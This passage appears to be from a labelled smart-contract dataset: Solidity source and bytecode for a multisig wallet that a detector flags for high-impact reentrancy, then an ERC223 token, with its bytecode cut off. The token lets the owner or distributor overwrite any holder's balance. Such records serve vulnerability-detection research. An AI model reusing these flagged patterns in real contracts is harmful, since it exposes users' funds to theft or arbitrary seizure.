transactionCount; i++) if (pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public view returns (address[] memory) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public view returns (address[] memory _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i = 0; i < owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i = 0; i < count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public view returns (uint[] memory _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i = 0; i < transactionCount; i++) if (pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i = from; i < to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
0x60806040526004361061012a5760003560e01c8063a0e67e2b116100ab578063c01a8c841161006f578063c01a8c8414610534578063c64274741461055e578063d74f8edd14610626578063dc8452cd1461063b578063e20056e614610650578063ee22610b1461068b5761012a565b8063a0e67e2b14610426578063a8abe69a1461048b578063b5dc40c3146104cb578063b77bf600146104f5578063ba51a6df1461050a5761012a565b806354741525116100f2578063547415251461028c5780637065cb48146102d2578063784547a7146103055780638b51d13f1461032f5780639ace38c2146103595761012a565b8063025e7c2714610169578063173825d9146101af57806320ea8d86146101e25780632f54bf6e1461020c5780633411c81c14610253575b34156101675760408051348152905133917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a25b005b34801561017557600080fd5b506101936004803603602081101561018c57600080fd5b50356106b5565b604080516001600160a01b039092168252519081900360200190f35b3480156101bb57600080fd5b50610167600480360360208110156101d257600080fd5b50356001600160a01b03166106dc565b3480156101ee57600080fd5b506101676004803603602081101561020557600080fd5b50356108b4565b34801561021857600080fd5b5061023f6004803603602081101561022f57600080fd5b50356001600160a01b0316610a34565b604080519115158252519081900360200190f35b34801561025f57600080fd5b5061023f6004803603604081101561027657600080fd5b50803590602001356001600160a01b0316610a49565b34801561029857600080fd5b506102c0600480360360408110156102af57600080fd5b508035151590602001351515610a69565b60408051918252519081900360200190f35b3480156102de57600080fd5b50610167600480360360208110156102f557600080fd5b50356001600160a01b0316610ad5565b34801561031157600080fd5b5061023f6004803603602081101561032857600080fd5b5035610cd9565b34801561033b57600080fd5b506102c06004803603602081101561035257600080fd5b5035610d64565b34801561036557600080fd5b506103836004803603602081101561037c57600080fd5b5035610dd3565b60405180856001600160a01b03166001600160a01b031681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b838110156103e85781810151838201526020016103d0565b50505050905090810190601f1680156104155780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561043257600080fd5b5061043b610e91565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561047757818101518382015260200161045f565b505050509050019250505060405180910390f35b34801561049757600080fd5b5061043b600480360360808110156104ae57600080fd5b508035906020810135906040810135151590606001351515610ef4565b3480156104d757600080fd5b5061043b600480360360208110156104ee57600080fd5b503561101f565b34801561050157600080fd5b506102c0611196565b34801561051657600080fd5b506101676004803603602081101561052d57600080fd5b503561119c565b34801561054057600080fd5b506101676004803603602081101561055757600080fd5b5035611293565b34801561056a57600080fd5b506102c06004803603606081101561058157600080fd5b6001600160a01b03823516916020810135918101906060810160408201356401000000008111156105b157600080fd5b8201836020820111156105c357600080fd5b803590602001918460018302840111640100000000831117156105e557600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061141c945050505050565b34801561063257600080fd5b506102c061143b565b34801561064757600080fd5b506102c0611440565b34801561065c57600080fd5b506101676004803603604081101561067357600080fd5b506001600160a01b0381358116916020013516611446565b34801561069757600080fd5b50610167600480360360208110156106ae57600080fd5b503561166d565b600381815481106106c257fe5b6000918252602090912001546001600160a01b0316905081565b33301461071a5760405162461bcd60e51b8152600401808060200182810382526027815260200180611af86027913960400191505060405180910390fd5b6001600160a01b038116600090815260026020526040902054819060ff1661077b576040805162461bcd60e51b815260206004820152600f60248201526e1bdddb995c881b9bdd08195e1a5cdd608a1b604482015290519081900360640190fd5b6001600160a01b0382166000908152600260205260408120805460ff191690555b6003546000190181101561084f57826001600160a01b0316600382815481106107c157fe5b6000918252602090912001546001600160a01b03161415610847576003805460001981019081106107ee57fe5b600091825260209091200154600380546001600160a01b03909216918390811061081457fe5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b0316021790555061084f565b60010161079c565b506003805460001901906108639082611a36565b50600354600454111561087c5760035461087c9061119c565b6040516001600160a01b038316907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9090600090a25050565b3360008181526002602052604090205460ff1661090a576040805162461bcd60e51b815260206004820152600f60248201526e1bdddb995c881b9bdd08195e1a5cdd608a1b604482015290519081900360640190fd5b60008281526001602090815260408083203380855292529091205483919060ff1661097c576040805162461bcd60e51b815260206004820152601960248201527f7472616e73616374696f6e206e6f7420636f6e6669726d656400000000000000604482015290519081900360640190fd5b600084815260208190526040902060030154849060ff16156109e5576040805162461bcd60e51b815260206004820152601c60248201527f7472616e73616374696f6e20616c726561647920657865637574656400000000604482015290519081900360640190fd5b6000858152600160209081526040808320338085529252808320805460ff191690555187927ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e991a35050505050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b600554811015610ace57838015610a96575060008181526020819052604090206003015460ff16155b80610aba5750828015610aba575060008181526020819052604090206003015460ff165b15610ac6576001820191505b600101610a6d565b5092915050565b333014610b135760405162461bcd60e51b8152600401808060200182810382526027815260200180611af86027913960400191505060405180910390fd5b6001600160a01b038116600090815260026020526040902054819060ff1615610b79576040805162461bcd60e51b81526020600482015260136024820152721bdddb995c88185b1c9958591e48195e1a5cdd606a1b604482015290519081900360640190fd5b816001600160a01b038116610bc5576040805162461bcd60e51b815260206004820152600d60248201526c656d707479206164647265737360981b604482015290519081900360640190fd5b60038054905060010160045460328211158015610be25750818111155b8015610bed57508015155b8015610bf857508115155b610c49576040805162461bcd60e51b815260206004820152601d60248201527f6f776e6572436f756e742f7265717569726564206e6f742076616c6964000000604482015290519081900360640190fd5b6001600160a01b038516600081815260026020526040808220805460ff1916600190811790915560038054918201815583527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b0180546001600160a01b03191684179055517ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d9190a25050505050565b600080805b600354811015610d585760008481526001602052604081206003805491929184908110610d0757fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205460ff1615610d3b576001820191505b600454821415610d5057600192505050610d5f565b600101610cde565b5060009150505b919050565b6000805b600354811015610dcd5760008381526001602052604081206003805491929184908110610d9157fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205460ff1615610dc5576001820191505b600101610d68565b50919050565b6000602081815291815260409081902080546001808301546002808501805487516101009582161595909502600019011691909104601f81018890048802840188019096528583526001600160a01b0390931695909491929190830182828015610e7e5780601f10610e5357610100808354040283529160200191610e7e565b820191906000526020600020905b815481529060010190602001808311610e6157829003601f168201915b5050506003909301549192505060ff1684565b60606003805480602002602001604051908101604052809291908181526020018280548015610ee957602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610ecb575b505050505090505b90565b606080600554604051908082528060200260200182016040528015610f23578160200160208202803883390190505b5090506000805b600554811015610fa457858015610f53575060008181526020819052604090206003015460ff16155b80610f775750848015610f77575060008181526020819052604090206003015460ff165b15610f9c5780838381518110610f8957fe5b6020026020010181815250506001820191505b600101610f2a565b878703604051908082528060200260200182016040528015610fd0578160200160208202803883390190505b5093508790505b8681101561101457828181518110610feb57fe5b6020026020010151848983038151811061100157fe5b6020908102919091010152600101610fd7565b505050949350505050565b606080600380549050604051908082528060200260200182016040528015611051578160200160208202803883390190505b5090506000805b600354811015611114576000858152600160205260408120600380549192918490811061108157fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205460ff161561110c57600381815481106110bb57fe5b9060005260206000200160009054906101000a90046001600160a01b03168383815181106110e557fe5b60200260200101906001600160a01b031690816001600160a01b0316815250506001820191505b600101611058565b8160405190808252806020026020018201604052801561113e578160200160208202803883390190505b509350600090505b8181101561118e5782818151811061115a57fe5b602002602001015184828151811061116e57fe5b6001600160a01b0390921660209283029190910190910152600101611146565b505050919050565b60055481565b3330146111da5760405162461bcd60e51b8152600401808060200182810382526027815260200180611af86027913960400191505060405180910390fd5b60035481603282118015906111ef5750818111155b80156111fa57508015155b801561120557508115155b611256576040805162461bcd60e51b815260206004820152601d60248201527f6f776e6572436f756e742f7265717569726564206e6f742076616c6964000000604482015290519081900360640190fd5b60048390556040805184815290517fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a9181900360200190a1505050565b3360008181526002602052604090205460ff166112e9576040805162461bcd60e51b815260206004820152600f60248201526e1bdddb995c881b9bdd08195e1a5cdd608a1b604482015290519081900360640190fd5b60008281526020819052604090205482906001600160a01b031661134c576040805162461bcd60e51b81526020600482015260156024820152741d1c985b9cd858dd1a5bdb881b9bdd08195e1a5cdd605a1b604482015290519081900360640190fd5b60008381526001602090815260408083203380855292529091205484919060ff16156113bf576040805162461bcd60e51b815260206004820152601d60248201527f7472616e73616374696f6e20616c726561647920636f6e6669726d6564000000604482015290519081900360640190fd5b6000858152600160208181526040808420338086529252808420805460ff1916909317909255905187927f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef91a36114158561166d565b5050505050565b600061142984848461191d565b905061143481611293565b9392505050565b603281565b60045481565b3330146114845760405162461bcd60e51b8152600401808060200182810382526027815260200180611af86027913960400191505060405180910390fd5b6001600160a01b038216600090815260026020526040902054829060ff166114e5576040805162461bcd60e51b815260206004820152600f60248201526e1bdddb995c881b9bdd08195e1a5cdd608a1b604482015290519081900360640190fd5b6001600160a01b038216600090815260026020526040902054829060ff161561154b576040805162461bcd60e51b81526020600482015260136024820152721bdddb995c88185b1c9958591e48195e1a5cdd606a1b604482015290519081900360640190fd5b60005b6003548110156115d357846001600160a01b03166003828154811061156f57fe5b6000918252602090912001546001600160a01b031614156115cb57836003828154811061159857fe5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b031602179055506115d3565b60010161154e565b506001600160a01b03808516600081815260026020526040808220805460ff1990811690915593871682528082208054909416600117909355915190917f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9091a26040516001600160a01b038416907ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d90600090a250505050565b600081815260208190526040902060030154819060ff16156116d6576040805162461bcd60e51b815260206004820152601c60248201527f7472616e73616374696f6e20616c726561647920657865637574656400000000604482015290519081900360640190fd5b6116df82610cd9565b156119195760008281526020819052604080822060038101805460ff191660019081179091558154818301549351600280850180549597966060966001600160a01b0390951695909491939283928592600019908216156101000201160480156117805780601f1061175e576101008083540402835291820191611780565b820191906000526020600020905b81548152906001019060200180831161176c575b505091505060006040518083038185875af1925050503d80600081146117c2576040519150601f19603f3d011682016040523d82523d6000602084013e6117c7565b606091505b5091509150811561187157847f0c18aae526accb31b01cf9a15bdf435e70632ee31efc4c5c0752c4262ea45d2f826040518080602001828103825283818151815260200191508051906020019080838360005b8381101561183257818101518382015260200161181a565b50505050905090810190601f16801561185f5780820380516001836020036101000a031916815260200191505b509250505060405180910390a2611415565b847fb244a44bc380e02e10c992fa6436e168a7d0c4c942fe9ae4ef21d59299510db9826040518080602001828103825283818151815260200191508051906020019080838360005b838110156118d15781810151838201526020016118b9565b50505050905090810190601f1680156118fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390a25050600301805460ff191690555b5050565b6000836001600160a01b03811661196b576040805162461bcd60e51b815260206004820152600d60248201526c656d707479206164647265737360981b604482015290519081900360640190fd5b600554604080516080810182526001600160a01b038881168252602080830189815283850189815260006060860181905287815280845295909520845181546001600160a01b031916941693909317835551600183015592518051949650919390926119de926002850192910190611a5f565b50606091909101516003909101805460ff191691151591909117905560058054600101905560405182907fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5190600090a2509392505050565b815481835581811115611a5a57600083815260209020611a5a918101908301611add565b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611aa057805160ff1916838001178555611acd565b82800160010185558215611acd579182015b82811115611acd578251825591602001919060010190611ab2565b50611ad9929150611add565b5090565b610ef191905b80821115611ad95760008155600101611ae356fe6f6e6c792077616c6c65742073656c662063616e2063616c6c20746869732066756e6374696f6ea265627a7a72315820c8287707714a4e71321f845e8bafc3fc5aa4f5dc64b009349df5a3910dbf1fd464736f6c63430005100032
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
1,093
0x9e96604445ec19ffed9a5e8dd7b50a29c899a10c
pragma solidity ^0.4.18; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Distributable is Ownable { address public distributor; function setDistributor(address _distributor) public onlyOwner { distributor = _distributor; } modifier onlyOwnerOrDistributor(){ require(msg.sender == owner || msg.sender == distributor); _; } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC223Interface { function transfer(address to, uint value, bytes data) returns (bool); // event Transfer(address indexed from, address indexed to, uint value, bytes data); } contract ERC223ReceivingContract { /** * @dev Standard ERC223 function that will handle incoming token transfers. * * @param _from Token sender address. * @param _value Amount of tokens. * @param _data Transaction metadata. */ function tokenFallback(address _from, uint _value, bytes _data); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Reference implementation of the ERC223 standard token. */ contract ERC223Token is ERC223Interface, StandardToken { using SafeMath for uint; bool public transfersEnabled = false; /** * @dev Transfer the specified amount of tokens to the specified address. * Invokes the `tokenFallback` function if the recipient is a contract. * The token transfer fails if the recipient is a contract * but does not implement the `tokenFallback` function * or the fallback function to receive funds. * * @param _to Receiver address. * @param _value Amount of tokens that will be transferred. * @param _data Transaction metadata. */ function transfer(address _to, uint _value, bytes _data) returns (bool) { require(transfersEnabled); // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . uint codeLength; assembly { // Retrieve the size of the code on target address, this needs assembly . codeLength := extcodesize(_to) } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if (codeLength > 0) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); } Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer the specified amount of tokens to the specified address. * This function works the same with the previous one * but doesn't contain `_data` param. * Added due to backwards compatibility reasons. * * @param _to Receiver address. * @param _value Amount of tokens that will be transferred. */ function transfer(address _to, uint _value) returns (bool) { require(transfersEnabled); // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . bytes memory empty; return transfer(_to, _value, empty); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(transfersEnabled); return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public returns (bool) { require(transfersEnabled); return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public returns (bool success) { require(transfersEnabled); return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) { require(transfersEnabled); return super.decreaseApproval(_spender, _subtractedValue); } } contract COSSToken is ERC223Token, Ownable, Distributable { event RevenueShareIdentifierCreated ( address indexed _address, string _identifier); string public name = "COSS"; string public symbol = "COSS"; uint256 public decimals = 18; using SafeMath for uint; address public oldTokenAddress; mapping (address => string) public revenueShareIdentifierList; function COSSToken() { owner = msg.sender; totalSupply_ = 200000000 * (10 ** decimals); } function setOldTokenAddress(address _oldTokenAddress) public onlyOwner { oldTokenAddress = _oldTokenAddress; } function replaceToken(address[] _addresses) public onlyOwnerOrDistributor { uint256 addressCount = _addresses.length; for (uint256 i = 0; i < addressCount; i++) { address currentAddress = _addresses[i]; uint256 balance = ERC20(oldTokenAddress).balanceOf(currentAddress); balances[currentAddress] = balance; } } function replaceTokenFix(address[] _addresses, uint256[] _balances) public onlyOwnerOrDistributor { uint256 addressCount = _addresses.length; for (uint256 i = 0; i < addressCount; i++) { address currentAddress = _addresses[i]; uint256 balance = _balances[i]; balances[currentAddress] = balance; } } function() payable { } function activateRevenueShareIdentifier(string _revenueShareIdentifier) { revenueShareIdentifierList[msg.sender] = _revenueShareIdentifier; RevenueShareIdentifierCreated(msg.sender, _revenueShareIdentifier); } function sendTokens(address _destination, address _token, uint256 _amount) public onlyOwnerOrDistributor { ERC20(_token).transfer(_destination, _amount); } function sendEther(address _destination, uint256 _amount) payable public onlyOwnerOrDistributor { _destination.transfer(_amount); } function setTransfersEnabled() public onlyOwner { transfersEnabled = true; } }
0x606060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610156578063095ea7b3146101e45780630a6120951461023e57806318160ddd1461029857806323b872dd146102c1578063313ce5671461033a578063359170e614610363578063661884631461037857806370a08231146103d257806375619ab51461041f5780638da5cb5b146104585780638dff4abd146104ad57806395d89b411461050a57806398f8193b14610598578063a9059cbb14610632578063be45fd621461068c578063bef97c8714610729578063bfe1092814610756578063c1756a2c146107ab578063c7b87d74146107e2578063d593c9531461081b578063d73dd623146108cd578063d8542d5114610927578063dd62ed3e1461097c578063e6d66ac8146109e8578063f2fde38b14610a49575b005b341561016157600080fd5b610169610a82565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a957808201518184015260208101905061018e565b50505050905090810190601f1680156101d65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101ef57600080fd5b610224600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b20565b604051808215151515815260200191505060405180910390f35b341561024957600080fd5b610296600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050610b4f565b005b34156102a357600080fd5b6102ab610d6d565b6040518082815260200191505060405180910390f35b34156102cc57600080fd5b610320600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d77565b604051808215151515815260200191505060405180910390f35b341561034557600080fd5b61034d610da8565b6040518082815260200191505060405180910390f35b341561036e57600080fd5b610376610dae565b005b341561038357600080fd5b6103b8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e27565b604051808215151515815260200191505060405180910390f35b34156103dd57600080fd5b610409600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e56565b6040518082815260200191505060405180910390f35b341561042a57600080fd5b610456600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e9e565b005b341561046357600080fd5b61046b610f3e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104b857600080fd5b610508600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610f64565b005b341561051557600080fd5b61051d61106e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561055d578082015181840152602081019050610542565b50505050905090810190601f16801561058a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156105a357600080fd5b6106306004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190505061110c565b005b341561063d57600080fd5b610672600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611263565b604051808215151515815260200191505060405180910390f35b341561069757600080fd5b61070f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061129c565b604051808215151515815260200191505060405180910390f35b341561073457600080fd5b61073c611588565b604051808215151515815260200191505060405180910390f35b341561076157600080fd5b61076961159b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6107e0600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506115c1565b005b34156107ed57600080fd5b610819600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506116b9565b005b341561082657600080fd5b610852600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611759565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610892578082015181840152602081019050610877565b50505050905090810190601f1680156108bf5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156108d857600080fd5b61090d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611809565b604051808215151515815260200191505060405180910390f35b341561093257600080fd5b61093a611838565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561098757600080fd5b6109d2600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061185e565b6040518082815260200191505060405180910390f35b34156109f357600080fd5b610a47600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506118e5565b005b3415610a5457600080fd5b610a80600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a65565b005b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b185780601f10610aed57610100808354040283529160200191610b18565b820191906000526020600020905b815481529060010190602001808311610afb57829003601f168201915b505050505081565b6000600360009054906101000a900460ff161515610b3d57600080fd5b610b478383611bbd565b905092915050565b600080600080600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610bfe5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610c0957600080fd5b84519350600092505b83831015610d66578483815181101515610c2857fe5b906020019060200201519150600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515610cf957600080fd5b6102c65a03f11515610d0a57600080fd5b505050604051805190509050806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508280600101935050610c12565b5050505050565b6000600154905090565b6000600360009054906101000a900460ff161515610d9457600080fd5b610d9f848484611caf565b90509392505050565b60075481565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e0a57600080fd5b6001600360006101000a81548160ff021916908315150217905550565b6000600360009054906101000a900460ff161515610e4457600080fd5b610e4e8383612069565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610efa57600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b80600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209080519060200190610fb792919061252d565b503373ffffffffffffffffffffffffffffffffffffffff167f6c3273e366b48566c5ace15e154ef403e61559520c6519f18f967645fce28f54826040518080602001828103825283818151815260200191508051906020019080838360005b83811015611031578082015181840152602081019050611016565b50505050905090810190601f16801561105e5780820380516001836020036101000a031916815260200191505b509250505060405180910390a250565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111045780601f106110d957610100808354040283529160200191611104565b820191906000526020600020905b8154815290600101906020018083116110e757829003601f168201915b505050505081565b600080600080600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673